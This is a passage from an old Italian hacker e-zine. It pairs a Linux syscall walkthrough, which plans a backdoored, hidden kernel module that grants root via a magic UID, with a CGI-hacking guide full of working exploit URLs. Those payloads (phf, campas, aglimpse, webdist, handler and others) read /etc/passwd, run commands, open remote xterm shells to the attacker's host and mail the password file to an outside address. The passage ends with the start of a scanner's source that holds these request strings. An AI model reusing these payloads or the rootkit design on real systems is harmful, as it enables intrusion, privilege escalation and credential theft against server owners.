Poi lo stato e' posto a MOD_RUNNING. delete_module() disattiva il modulo
preparandolo per free_modules() cambiandone lo stato in MOD_DELETED.
get_kernel_syms() serve per accedere alla tabella dei simboli del modulo.
errori EPERM solo root puo' usare le prime 3 di queste chiamate
ENOENT se il modulo di nome *name non esiste
EEXIST se *name e' gia' in uso
ENOMEM se non c'e' abbastanza memoria per il modulo
EBUSY se la procedura di inizializzazione non funziona o se si
richiede la cancellazione di un modulo in uso
CaRoNTe: "Hmmm .... credo sia colpa di come viene riempita la struttura di
tipo module se lsmod(1) e ksyms(1) possono mostrare la presenza
del MODULO-CAROGNA .... forse e' il caso di fare qualcosa."
----------------------------------------------------------------------------
b) file system
------------------------------------------------------------------------------
call open POSIX
file fs/open.c
#include <linux/types.h>
int sys_open(const char *file_name, int flag, int mode);
Questa chiamata apre il file indicato da file_name per quelle operazioni
specificate da flag, i cui possibili valori sono:
O_RDONLY sola lettura
O_WRONLY sola scrittura
O_RDWR entrambe
Se il file non esiste e' possibile specificare mode x'orando a flag il
parametro O_CREAT. Se lo si specifica ed il file gia' esiste si ha errore
se mode e' uguale a O_EXCL. Se il file esiste gia' lo si puo' troncare con
O_TRUNC, oppure allungare con O_APPEND. Altri parametri sono disponibili.
Confrontate la man page di open(2) con <fcntlbits.h>
errori EMFILE troppi file aperti
EACCESS se la directory non ha privilegi di esecuzione
ENFILE se non ci sono descrittori liberi per il file
EEXIST se il file da creare esiste gia' come directory
EISDIR se la directory non puo' essere aperta o se sono settati
O_CREATE o O_TRUNC
ENDENT path non valido
EPERM se l'inode del file non permette l'operazione richiesta
CaRoNTe: "Hmmm .... potremmo fare in modo che la chiamata sia facilitata
per alcuni utenti, cosi' che possano aprire file come root per
poterli modificare laddove non sia loro normalmente consentito.
E senza essere realmente ROOT ! "
------------------------------------------------------------------------------
call chmod POSIX
file fs/open.c
#include <sys/types.h>
#include <sys/stat.h>
int sys_chmod(const char *filename, mode_t mode);
chmode() setta i permessi del file *filename secondo le specifiche di
mode. Questa chiamata viene implementata con la macro syscall. Se mode e'
-1 viene variato solo il ctime.
errori EACCESS se l'UID del processo differisce da quello del file o da 0
ENOENT se il file non esiste
EROFS se il file-system e' di sola lettura
EDQUOT se le quota non permettono l'operazione
CaRoNTe: "Hmmm .... certo che la possibilita' di poter leggere o
modificare OGNI file senza avere una shell root a disposizione
non sarebbe deprecabile, per ogni buon sovvertimento del sistema"
------------------------------------------------------------------------------
call ioctl 4.3+BSD
file fs/ioctl.c
int sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg);
ioctl() manipola i parametri di un device. Di solito serve per controllare
i driver, come ad esempio quello delle schede interne del pc. cmd
specifica la funzione richiesta al driver. Macro in <asm/ioctl.h>. Alcune
sono permesse su tutti i fd:
FIOCLEX close_on_exec
FIONCLEX disabilita il suddetto
FIONBIO se il valore specifcato da arg eguaglia 0, viene
rimosso O_NONBLOCK, altrimenti viene settato
FIOASYNC come per FIONBIO, ma il valore e' O_SYNC
errori EBADF fd e' invalido
ENOTTY se fd non si riferisce ad un driver a caratteri o se cmd
non e'supportato da fd
EINVAL se cmd o arg sono invalidi
CaRoNTe: "Hmmm .... si potrebbe variare il comportamento dei driver senza
che questo desti alcun evidente cambiamento nella configurazione
del driver stesso."
----------------------------------------------------------------------------
call readdir POSIX
getdents Linux
file fs/read_write.c
fs/readdir.c
int sys_readdir(unsigned int fd, struct dirent *dirent,
unsigned int count);
int sys_getdents(unsigned int fd, void * dirent, unsigned int count);
La chiamata sys_readdir riempie la struttura dirent con i dati della
directory fd; count specifica lo spazio massimo da riempire con le
strutture dirent. Ecco la vecchia struttura dirent per readdir():
struct old_linux_dirent {
unsigned long d_ino;
unsigned long d_offset;
unsigned short d_namlen;
char d_name[1];
};
Invece la nuova funzione getdents() usa due diverse strutture:
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
struct getdents_callback {
struct linux_dirent * current_dir;
struct linux_dirent * previous;
int count;
int error;
};
La funzione getdents() legge molte istanze di dirent, almeno fin a quando
le loro somme non superino count. Il valore di ritorno e' la differenza
tra count ed i byte effettivamente letti.
Entrambe le funzioni sono disponibili alla funzione C readdir(). La
vecchia sys_readdir viene usata solo se non e' disponibile sys_getdents.
errori EBADF se fd e'invalido
ENOTDIR se non esiste alcuna operazione di tipo readdir()
CaRoNTe: "Hmmm .... questa e' interessante. Si potrebbe fare in modo che
leggendo a destra e manca 'non veda' alcune cose ....
Considerate che anche /proc e' una directory !"
----------------------------------------------------------------------------
*** NONSOLOCALL ***
In effetti nei sorgenti del Kernel di Linux sono presenti delle macro che
vengono utilizzate all'interno di MOLTE chiamate di sistema, per snellire
il codice senza aumentare il numero delle funzioni vere e proprie.
Si, OK, e' vero che c'e' la solita #define MIN ma non mi riferivo proprio
a quella :) Sostanzialmente le macro interessanti sono:
---------------------------------------------------------------------------
macro fsuser()
file <linux/kernel.h>
#define fsuser() (current->fsuid == 0)
fsuser serve per confrontare il FSUID del processo in corso, in relazione
ai permessi di accesso ai file. Spesso molte funzioni in /fs/ fanno il
check con fsuser e ritornano errore nel caso current->fsuid NON sia 0.
CaRoNTe: "Hmmm .... non sarebbe piu' giusto che i check di fsuser()
potessero essere bypassati anche da altri FSUID oltre a quello
di root (0) ?!?!"
---------------------------------------------------------------------------
Questa ERA una macro, ma e' ora divenuta una routine vera e propria.
prima della cura:
macro suser()
file <linux/kernel.h>
#define suser() (current->euid == 0)
dopo la cura:
inline suser()
file <linux/sched.h>
extern inline int suser(void)
{
if (current->euid == 0) {
current->flags |= PF_SUPERPRIV;
return 1;
}
return 0;
}
suser() serve per valutare l'EUID del processo in corso. Nel caso sia
uguale a 0 procede al settaggio di una flag particolare del processo,
PF_SUPERPRIV che viene definita all'interno dello stesso <linux/sched.h>
come
#define PF_SUPERPRIV 0x00000100 /* used super-user privileges */
insieme a varie altre flag. Questa definisce l'aver usato privilegi da
superutente.
CaRoNTe: "Hmmm .... davvero non si capisce perche' solo i valori uguali a
0 abbiano vita facile. Anche lo 0 ... non si sentira' un po'
solo ?"
---------------------------------------------------------------------------
*** IDEE MALSANE ***
Indubbiamente questa prima parte e' stata pesante e, probabilmente, anche
incomprensibile alla prima lettura. Sicuramente leggere il codice sorgente
di alcunche' puo' essere ostico quando non ci si sia avvezzi. Ma la
pratica aiuta moltissimo. E se leggete BFI abitualmente avete comunque
l'inclinazione adatta a questo genere di cose :)
Spero abbiate davvero letto il sorgente delle chiamate che ho man mano
descritto. CaRoNTe, da buon traghettatore, ci ha fornito qualche spunto.
Evidentemente chi sa programmare in C ed ha un minimo di conoscenza Un!x
e' ora in grado di immaginare come possa esser plasmato il MODULO-CAROGNA
che fa al caso nostro.
Prima di tutto e' forse pero' necessario vedere anche come Linux permetta
il salto da user mode a system mode mediante l'interrupt 0x80.
Normalmente l'utente utilizza le funzioni della libreria C, come fork() ad
esempio. Questa funzione segue le macro e le definizioni di <asm/unistd.h>
e scrive i suoi argomenti ed il numero della chiamata di sistema in alcuni
registri e poi avvia l'interrupt 0x80. Quando il servizio interrupt
ritorna, il valore viene prelevato dall'appropriato registro di
trasferimento e la funzione ha termine.
Il lavoro vero e proprio della system call e' a cura della funzione
dell'interrupt.
Questa comincia all'indirizzo _system_call() contenuto nel sorgente
arch/i386/kernel/entry.S . Purtroppo questo e' tutto in assembler. Ho
trovato una 'traslitterazione' in C che fortunatamente fa capire cosa
succeda.
PSEUDO_CODE system_call(int sys_call_num, sys_call_args)
{
_system_call:
I parametri sys_call_num e sys_call_args sono il numero della chiamata
(che si trova in <asm/unistd.h>) ed i suoi argomenti. Ora vengono prima
salvati i registri per il processo chiamante con SAVE_ALL che e' definito
in entry.S
Se il numero sys_call_num e' presente in <asm/unistd.h> viene chiamata la
funzione associata a quel numero. Questa e' contenuta in sys_call_table[]
specificato anch'esso in entry.S
Tralasciando il lavoro di tracciamento della chiamata, la funzione viene
eseguita con (in C) errno(*sys_call_table[sys_call_num])(sys_call_args);
dopodiche' vengono controllate possibili interruzioni di altri interrupt,
i segnali inviati ....
Alla fine i registri vengono riportati al loro stato precedente con
RESTORE_ALL dopodiche' la funzione dell'interrupt ritorna con l'istruzione
assembler iret.
Quello che mostrero' nella seconda parte del Progetto CaRoNTe sara' lo
hijack delle chiamate di sistema. Ovvero, quando qualche processo avra'
bisogno di una certa chiamata, in realta' usera' la nostra invece di
quella legale del sistema. Questo ci servira' per rimanere nascosti, per
avere delle backdoor e per piegare il sistema al nostro modus operandi
SENZA dover installare dei binari troyan, e SENZA doverci occupare di
checksum, date, etc etc etc =:)
La piu' semplice delle chiamate CAROGNA da realizzare e' sicuramente
setuid(). Immaginate che io compili il seguente programma:
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
if(!setuid(0))
system("vi /etc/passwd");
}
ovviamente non funzionerebbe se io non fossi gia' root. Altrimenti quale
sarebbe l'hack ? <g>
Ma se io cambiassi la riga #3 con un bel if(!setuid(HACK_ID)) e se HACK_ID
fosse uno UID definito nella nostra nuova sys_setuid allora potrei far
scattare la backdoor ed avere UID = GID = EUID = EGID = 0 ! Ovvero uguale
a root, ed allora potrei editarmi il file /etc/passwd ed inserirmi un
bell'utente ::0:0: nuovo di pacca !
Questa e' l'idea di fondo. Se, nel caso specifico, l'UID HACK_ID non fosse
di nessuno nel sistema, nessuno se ne accorgerebbe, in quanto non ci
sarebbero i sorgenti modificati del kernel, ma solo un modulo caricato
quando ci serve con insmod(1). L'ideale sarebbe fare in modo che venga
sempre caricato al boot del sistema, che sia invisibile a lsmod(1) e che
eventuali letture di /proc/modules siano 'inibite' .... ad ogni modo
questo fa parte dell'implementazione, trattata nella parte II.
In Kernel-Land non ci sono differenze di privilegio. Ogni azione, ogni
troyan che si decida di inserire potrebbe affondare la nave. Ma non ci
sarebbe modo per il 95% dei root in giro di trovare la falla.
Non si vedono ancora molti LKM nei vari siti di scripts ed exploits.
Qualche cosa e' venuta fuori da HalfLife e Plaguez su Phrack e da Zarq su
BUGTRAQ. Sicuramente gia' molti usano questo approccio. D'altra parte non
e' niente di sconvolgente. L'idea di alterare il kernel invece dei binari,
e' vecchia come il mondo :), o almeno come i moderni OS. Solo che fin
all'avvento dei moduli, era necessario ricompilare il kernel monolitico
dopo aver editato i sorgenti. Ora invece ci sono i moduli. :)
*** INTERVALLO ***
Per ora basta. Mi accorgo che aver spulciato e cercato di capire qualcosa
nei sorgenti del KERNEL sia completamente diverso dallo spiegarlo ad altri
... hmmm, spero proprio che questa prima parte sia servita almeno ad
interessare i lama->not_yet->newbie cosi' che si decidano a metter mano al
C e co.
Per gli altri spero di aver aggiunto qualcosa. La parte II fornira' alcuni
dettagli aggiuntivi sulle possibili implementazioni, oltre al modulo vero
e proprio. In realta' avevo gia' qualcosina per degli esempi.
In effetti nel secondo tempo avrete nell'articolo un bel modulo CaRoGNa
come IO credo possa essere utile, insieme alle spiegazioni sulla sua
implementazione ed alle idee e tecniche utilizzabili. MA ci sara' nel
pacchetto di BFI4 anche un bel tar.gz contenente svariate idee diverse per
sovvertire in altri modi le chiamate di sistema del vostro beneamato
Linux.
AND THEN SOME :)
FuSyS
P.S. ovvio che il tar.gz gia' esiste :)
P.P.S. ovvio che dovete cmq aspettare BFI4 (manovra editoriale)
P.P.S.S. il tgz e CaRoGNa sono in realta' in beta test :)
#############################################################################
NOTA: non lo faccio per bearmi o altro. Ma effettivamente mi e' piu'
facile imparare, crescere come smanettone e divertirmi con la tecnologia
se butto giu' in articoli i miei esperimenti e quant'altro mi passi per la
testa. Un po' come sottolineare per memorizzare. E comunque vale il solito
discorso: potete anche saltarlo sto articolo invece di menarmela ! :)
#############################################################################
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ N0NS0L0PH ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
CAZZZ0E'MAiP0SSiBiLECHELAGENTEC0N0SCAS0L0QUELL0?
Cosumi DevilKiss: 3 Succhi di frutta all'arancia Skipper con tanto di can-
nuccia pieghevole.
1/2 litro di Belte' al limone.
Musica ascolatata DevilKiss: OffSpring a palla !!!! (Smash)
Nirvana (Nevermind)
Green Day (Dookie)
Consumi Dark Schneider: 1 Winner Classico e una brioche cazzuta
1 litro di fanta allungato con 1 lattina di coca
(caldo!!)
Musica ascoltata Dark Schneider: Helloween a cannella
Battalions of Fear (Blind Guardian)
Nightfall in Middle Earth (Blind Guardian)
Cgi.....bella storia....c'e' il phf... MA cos'e' un CGI?
Dunque...CGI sta per Common Gateway Interface. E che cazz' e' una Common
Gateway Interface?
Mah effettivamente parrebbe una cazzatina davvero: e' un programmino scritto
in C, Perl o addirittura shell script, che viene eseguito sul server con dei
parametri che NOI gli passiamo.
Cazzatina? MA e' fantastico!!!!!! Un programma che posso eseguire SUL server
remoto!!
Certo, al massimo (FORSE :) ) avro' i permessi del web server, quindi "nobody",
ma non e' detto che non sia utile....eheh
Infatti le cgi, come la maggior parte dei programmi che girano sui server, non
sono esenti dai bug, e il fatto che siano sfruttabili da remoto ha fatto si'
che molti hackers abbiano cominciato ad adottare massicciamente questo tipo di
metodo per entrare nei server.
Diamo un'occhiata allora a come si usano queste piccole cgi, poi il buon
DevilKiss ci fara' vedere come farne un uso + maliziosetto :)
Una cgi, dovendo ricevere input tramite il web server, deve necessariamente
essere controllata via browser, quindi si e' adottato un sistema piuttosto
logico per passar loro i parametri: l'URL. Ovvio: la richiesta di un documento
html avviene tramite url, che tra l'altro e' l'unico mezzo di comunicazione
(+ o -) tra web server e client. Quindi: chiamare una cgi equivale a richiedere
una pagina html. Pertanto il passaggio dei parametri avviene esattamente allo
stesso modo:
http://indirizzo.del.server/cgi-bin/nomecgi?parametro1=valore1¶metro2=valore2+valore3 etc...
|^^^^^^^|
directory standard
dove risiedono le cgi
(al 90% dei casi)
Il punto interrogativo serve per far capire alla cgi che stiamo passando dei
parametri, poi il resto puo' consistere in un mare di cose...
Prima di proseguire apro una piccola parentesi sull'url encoding, l'algoritmo
che trasforma l'url che noi abbiamo inserito organizzando l'input per le cgi
(e non solo, ma a noi per ora interessano quelle :) )
URL ENCODING
1. Converte tutti gli spazi in '+' .
2. Converte tutti i caratteri non alfanumerici nella sequenza %XX, dove XX
rappresenta il codice ASCII/ANSI esadecimale del carattere da convertire
(ad esempio lo spazio diventa %20 e il line feed diventa %0a: non vi dicono
niente? :)) .
3. Se i dati provengono da una form, converte ogni dato nella forma
"NOME=VALORE", dove NOME e' specificato nell'attributo NAME del tag usato
nella form e VALORE e' il valore che l'oggetto ha assunto dopo l'interazione
con l'utente.
4. Unisce i dati provenienti dalla form usando il carattere "&" come separatore,
ottenendo una stringa nella forma:
"nome1=valore1&nome2=valore2&nome3=valore3...."
Tale stringa puo' essere al massimo lunga 1024 bytes.
Ok, adesso possiamo proseguire.
La CGI puo' venir chiamata in 2 modi:
- GET, che puo' trasmettere solo le informazioni protocollo (http, ftp, gopher,
etc..), indirizzo del server, path della cgi e parametri del tipo di cui
sopra;
- POST, che puo' anche inviare sullo standard input della CGI una quantita'
arbitraria di dati.
Il protocollo piu' diffuso di comunicazione tra server e CGI non e' l'HTML,
almeno non sempre: infatti nella realta' il web server manda informazioni alla
CGI attraverso delle VARIABILI d'AMBIENTE e, se l'invocazione avviene
attraverso il metodo POST, anche attraverso lo standard input. Ecco un breve
elenco delle variabili d'ambiente + diffuse:
Nome Variabile Significato Esempio
HTTP_USER_AGENT Il browser usato dall'utente Mozilla/3.01
(X11; I; Linux 2.0.29)
SERVER_SOFTWARE Il software usato dal server Apache/1.1.3
SERVER_NAME Il nome ufficiale del server bfi98.home.ml.org
REMOTE_HOST Il nome dell'host client localhost
REMOTE_ADDR L'indirizzo IP dell'host client 127.0.0.1
DOCUMENT_ROOT Dove comincia la gerarchia dei /home/httpd/html
documenti del server
REMOTE_USER Nome dell'utente, se si e' guest
identificato
GATEWAY_INTERFACE Protocollo CGI in uso CGI/1.1
SERVER_PROTOCOL Protocollo HTTP in uso HTTP/1.0
REQUEST_METHOD Modalità di invio dati GET
QUERY_STRING Dati inviati col metodo GET Codice=5432764&Data=cazzi+miei
HTTP_REFERER Pagina da cui è stato invocata http://bfi98.home.ml.org/
la CGI
PATH_INFO Path passato alla CGI /etc/passwd
PATH_TRANSLATED Gerarchia del path /home/httpd/html/etc/passwd
SCRIPT_NAME Nome della CGI /var.cgi
SCRIPT_FILENAME Nome assoluto della CGI /home/httpd/html/var.cgi
SERVER_PORT Porta su cui gira il server 80
SERVER_ADMIN Amministratore del server webmaster@suntcazzimia.org
Dopodiche' la CGI genera un documento e lo scrive sul suo STANDARD OUTPUT in
base al contenuto delle variabili d'ambiente e in base allo standard input
(solo con il metodo POST).
Prima di scrivere l'output vero e proprio si invia anche almeno un header per
informare del tipo di dato che la CGI sta per trasmettere:
Content-type: x/y
seguita da una riga vuota (x/y e' il tipo MIME del dato da trasmettere che di
solito vale text/plain, text/html, image/gif o altro). Per ulteriori info
v. RFC 1521.
Allora, fino a qua abbiamo visto come funziona una CGI; adesso ci preme trovare
come utilizzarla nella maniera che piu' ci aggrada :)
In linea generale non c'e' un metodo fisso per trovare i buchi nelle cgi: io
pero' consiglio all'inizio di dare un'occhiata a quelle scritte in perl o in
shell che non essendo compilate (cioe' binaries) potete sempre vedere come
funzionano e se si possono passare parametri in piu' (che e' quello che
avviene col phf, tanto per citarne uno :))
Adesso pero' veniamo al lato pratico e vediamo un po' di esempi sulle varie CGI
bacate che ci stanno in giro :) (Evvai....bella devil....vai col liscio :))
Innanzitutto pensiamo che tutti tra voi conosceranno il bug del phf, uno dei
piu' ampliamente trattati (un po' dovunque), quindi dei piu' conosciuti
(anche dai sysadmin !!!) e anche dei piu' sfruttati per ottenere un sacco di
shellettine :) , che non e' raro pero' da trovare tutt'ora.
E pensiamo anche che diversi tra voi conosceranno il bug del test-cgi
che consente di vedere i file che sono contenuti in un computer remoto.
Ma questi due sono solo degli esempi di bug sfruttabili ed in questo articolo,
o meglio in questa mini-guida, cercheremo di mostrarvene diversi altri
meno conosciuti, ma non certo meno efficaci!!!!
Prima pero' alcune considerazioni..... i bug delle cgi sono bug facili da
sfuttare e che non richiedono una grande conoscenza tecnica per essere
utilizzati, una volta imparata la sintassi e capite le varie potenzialita'
chiunque e' in grado di farli funzionare ..... pero' non crediate che dopo
esservi procurati un paio di file passwd di un sistema con i metodi
descritti qui di seguito siate gia' diventati hacker e che dopo avere crackato
qualche account abbiate gia' fatto tutto !!! Leggetevi un po' gli articoli di
fusys sui log e non pensate che se ne possa fare a dimeno!!!!!!!
Ricordatevi che quale che sia il bug che decidete di sfruttare esistera'
sicuramente un file di log dove rimane scritto che cosa avete fatto o tentato
di fare e quale ip avevate quando l'avete fatto!!! Sicche' se pensate di
potere fare queste cose con il vostro account magari scrivendo la sintassi
sotto netscape e da Winsozze 95 preparatevi ad un tempestivo intervento della
pula a casa vostra :) sarete solo dei lamer e per di piu' sarete beccati
(almeno un proxy, dai! NdDashie).
Vabbe' si comincia davvero:
Sui bug del phf e del test-cgi non aggiungiamo altro in quanto sono gia' stati
abbondantemente trattati da Jack McKrak su System Down n.4
( www.andrew.org/systemdown/ ).
Aggiungiamo solo un paio di trucchetti per il phf e una piccola modifica per
il test-cgi.
Allora, supponiamo che abbiate trovato un sistema buggato col phf e che abbiate
tentato di recuperare il file passwd, ma che invece del file contenente le
passwd criptate siate andati a sbattere il capo con un sistema che usa le
passwd shadow, prima di tentare di guessare qualche passwd o di trovare
qualche altro bug per entrare, provate a vedere se il sistema che volete
attaccare usa Yellow page, e provate a sfruttare lo ypcat per vedere il vero
file delle passwd ad esempio cosi:
http://www.sito.com/cgi-bin/phf/?Qalias=x%0a/usr/bin/ypcat%20/etc/passwd
Come altra "dritta" vedete se avete uid e gid nobody sul computer che attaccate
e poi anche se questo e' un Linux, se cosi' e' potete usare il trucchettino
dell'rcp abbinato al phf per diventare root.
In che consiste il trucchettino ??? Bhe, non ve lo dico :) perche' se mi
mettessi a enumerare tutti i vari prog che potete chiamare col phf per ottenere
root questo diventerebbe un trattato (peraltro pure palloso) sul phf e
non sulle vulnerabilita' delle cgi in generale. Cmq, ci sono in giro diversi
testi sull'argomento se vi interessa :)
Oppure, guardate se il sistema utilizza Xwindow (per saperlo date un'occhiata
alle porte 6000 etc etc) ed utilizzate xterm in combinazione con phf per
ottenere una shell che non risulta sui vari log normali (utmp wtmp lastlog) e
che ha i privilegi di phf (spessissimo nobody). Naturalmente Xwindow dovete
averlo anche voi sul vostro computer!!!!
Allora, come prima cosa fate un xhost +www.vittima.com sul vostro computer
per accettare connessioni dall'host che volete attaccare.
Poi dovete vedere in che path e' xterm sul computer che volete attaccare,
di default questi sono i path di xterm (se no provate a fare un find con il
phf per vedere dove e' xterm):
AIX : /usr/bin/X11/xterm
HP-UX: /usr/bin/X11/hpterm
Linux: /usr/X11R6/bin/xterm
SunOS: /usr/openwin/bin/xterm
dopo che avete visto quale e' il path per voi, usate il phf cosi':
http://www.victim.com/cgi-bin/phf?Qalias=x%0a/usr/openwin/bin/xterm%20display%20mio.ip.it:0
e una shell sul sistema remoto dovrebbe apparirvi in Xwindow.
Per il test-cgi segnaliamo soltanto che con Apache1.2b1 dovrebbe funzionare
questo:
http://www.sito.com/cgi-bin/test-cgi? *
(nota lo spazio)
OK, andiamo a vedere qualche altro bug, questo non e' una cgi ma un trucchetto
che funziona con certi web server, pero' lo descriviamo qui lo stesso :) ,
detto delle slash multiple:
http://www.sito.com///cgi-bin/
e' possibile che vediate che cosa e' contenuto nella directory cgi-bin.
Di cosa ve ne fate ??? Bhe .... controllate se il sito in questione ha
qualcuna delle cgi di questo articolo per esempio, cosi' vi risparmiate la
fatica di provarle tutte :)
Con il CERN Httpd si puo' anche provare a fare un bel:
http://www.sito.com//etc/passwd
sostituendo il file delle passwd con un qualunque altro file contenuto
sull'hard disk del computer remoto.
Passiamo alle cgi vere e proprie: view source ci permette di dare un'occhiata
a qualunque file del computer remoto, carino no :) basta solo beccare il
numero di salti all'indietro da fare con ../ per arrivare alla dir / : ne
consigliamo 4 o 5. La sintassi e':
http://www.sito.com/cgi-bin/view-source?../../../../etc/passwd
Cmq, view-source e' un bug che si trova moooooooooolto raramente sicche'
fateci poco affidamento per penetrare in qualche sistema.
La mitica php (sembra quasi che tutte le cgi che cominciano per ph siano
buggate :) si trova abbastanza e ci mostra anch'essa ogni file sul computer
remoto:
http://www.sito.com/cgi-bin/php.cgi?/etc/passwd
Poi c'e' il campas che non solo ci fa dare un'occhiata dappertutto, ma ci
permette anche di eseguire qualunque comando con i privilegi con cui
gira!!!!
Che sfortunatamente (o fortunatamente per i sysadm) sono spesso scarsi.
http://www.sito.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a
notare che anche qui come il phf %0a e' l'invio, e poi che si passano una
serie di comandi, terminando il tutto con un altro %0a.
Volendo perdere un po' di tempo si puo' provare anche ad utilizzare il query
come il phf, pero' vi avvertiamo subito che questo bug e' obsoleto e
che e' veramente un bel pezzo che non lo vediamo fungere piu'... :
http://www.sito.com/cgi-bin/query?%0a/bin/cat%20/etc/passwd
Un'altra cgi che si trova abbastanza e che e' buggata e' la Glimpse che ci
permette di eseguire qualsiasi comando sul computer remoto, ad esempio,
telnettando alla porta 80 e scrivendo poi
GET /cgi-
bin/aglimpse/80|IFS=5;CMD=5mail5hacker\@hotmail.com\</etc/passwd;eval$MD;echo
HTTP/1.0
vi farete mandare per posta il file delle passwd. MI RACCOMANDO
MODIFICATE L'INDIRIZZO A CUI MANDATE IL FILE DELLE PASSWD. Cmq, se avete un
minimo di cervello potrete utilizzare aglimpse per un cat invece che per
farvi spedire il file delle passwd :) ad esempio con:
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5cat5/etc/passwd;eval$CMD;echo
HTTP/1.0
Un altro bug e' quello dell'htmlscript, che funziona in modo analogo
al viewsource:
http://www.sito.it/cgi-bin/htmlscript?../../../../etc/passwd
Adesso viene il pezzo meglio :) nph-test-cgi, che e' uguale al test
cgi solo che e' presente e funge su un casino di web server!!!!!! Si trova
parecchio, ma parecchio spesso.
Tanto per farvi capire, e' installato di default nei seguenti web server:
NCSA HTTP 1.3, 1.4, 1.4.1, 1.4.2, 1.5.1, 1.5.2, 1.5.2a
Apache HTTP 0.8.11, 0.8.14, 1.0.0, 1.0.2, 1.0.3, 1.0.5, 1.1.0
La sintassi e':
http://www.sito.com/cgi-cin/nph-test-cgi?*
Cosi' ci consente di vedere i file contenuti nella directory dove e'
posizionato, ma e' possibile vedere una qualsiasi altra directory, per
esempio la /etc :
/cgi-bin/nph-test-cgi?/etc/*
Di cosa se ne fa uno??? Bhe, innanzitutto vi controllate la presenza
di altre cgi belline, oppure, non e' raro che qualche sysadm incosciente abbia
tolto il phf, ma per esempio lo abbia soltanto rinominato e lo abbia lasciato
come eseguibile!!!! Ad esempio, se trovate un phf.old oppure un phf.bug provate
a usarli lo stesso!!!! Sembra una cosa incredibile, ma invece sono diversi i
sysadm che fanno queste cazzate, pensando che non ci sia modo di chiamare il
phf da remoto senza conoscere il nuovo nome che lui gli ha dato :)
(come dice MaNdrAkE: sysadmin=braccia tolte all'agricoltura :)
Altri utilizzi sono quelli di vedere dove sono messi i file di log oppure se
il sistema ha passwd shadow o meno.
Poi c'e' tutta una serie di bug delle cgi per i sistemi server IRIX,
ad esempio pfdisplay.cgi che funziona come view source:
http://www.sito.com/cgi-bin/pfdisplay.cgi?/../../../../etc/passwd
Ma che ha anche delle potenzialita' in piu'..... :
http://victim/cgi-bin/pfdisplay.cgi?'%0A/bin/uname20-a|'
per esempio ci consente di vedere il tipo di sistema operativo .. :)
Immaginatene voi delle altre ;)
Oppure, ancora migliore webdist che permette di eseguire qualunque
comando da remoto sul server in questione:
http://www.sito.com/cgi-bin/webdist.cgi?distloc=;cat%20/etc/motd
(Da notare anche qui il %20 per lo spazio come nel phf)
(Da notare che si puo' usare webdist insieme con xterm come spiegato
prima con il phf .... ma non vi dico come, compitino per casa :)
Oppure handler che permette anche lui di leggere un filettino qualsiasi
del computer che state attaccando:
telnet www.sito.com 80
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download
HTTP/1.0
NOTA: Come sicuramente avrete capito, al posto di useless_shit ci potete
mettere qualunque cosa :)
NOTA BENE: Tra il ;cat ed /etc/passwd c'e' un TAB non degli spazi.
Oppure potete provare ad aprire una shell sul computer che state
attaccando con:
telnet www.sito.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display tuo_host.com|?data=Download
Per ultimo segnaliamo il finger, che ci consente qualche manovretta carina.
Per esempio per effettuare un rozzo DOS contro un sistema che ci rompe
le palle, nascondendo un po' il nostro vero ip, oppure per i piu'
paranoici, per fingerare prima un sistema dove vogliamo loggarci come user e
fare un po' di casino, per vedere di non beccare online il sysadmin e per
nascondere anche da eventuali log l'ip da dove e' venuto il finger.
http://www.sito.com/cgi-bin/finger.cgi?@host_che_voglio.com
(ricordatevi anche il trucchettino del finger con il | per i DG/UX :)
Ci terrei (son io Dashie :)) anke ad inserire un release riveduta e corretta
del cgiscan di |scacco|, + o - fuso col mio HBS, che spero per il prossimo
numero di realizzare in versione tcl/tk:
--------------------------cut here----------------------------------------
/* This source is absolutely free to use and modify at you own risch, please
do not change some chars and say that this program is yours or i'll die the
next day... ;). Pay attention, this file is for research purpose only, do not
use it into any hacking way. Is possible to be logged while running the
program, so PAY ATTENTION!.
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.
Many Thanks goes to Soft Project and Orda of the Badlands groups!
I want also give a big thanks to:
Goku: my linux guru
SMa$teR: my prezident
MaNdraKe: and his future girlfriends
Pr3dator: for his help on linux (go slower on cars!:pPp)
PhoenYx: the best italian hacker
Berk: a cool friend and a wannabe hacker
xOANON: the best cracker all around
Golem: for his bot, what about setting it on #softpj? ;)
Spaceone: a good friend
TanK_GirL: a future hacker! (i hope)
RootShell: for many source and ideas
I want also give a big fuck to:
Telecom Italia: u must die!
WarLords: Good ircwarriors but stupid people
Alexb: pay attention at your fuckin' shells
Lamers: try to be more newbies!
by |scacco|
Add-on By Dark Schneider
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#define MAXSTR 12
main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=0, X;
char *stringhe[MAXSTR];
for(i=0;i<MAXSTR;i++) {
stringhe[i]=(char *) malloc(sizeof(char)*100);
}
/* Classic PHF bug... It still Works! */
stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
/* test-cgi bug, possible to view documents location */
stringhe[1]="GET /cgi-bin/test-cgi?*\n";
/* htmlscript bug, a good language that can us have passwd ;) */
stringhe[2]="GET /cgi-bin/htmlscript?../../../../etc/passwd\n";
/* view-source bug, some httd use this... */
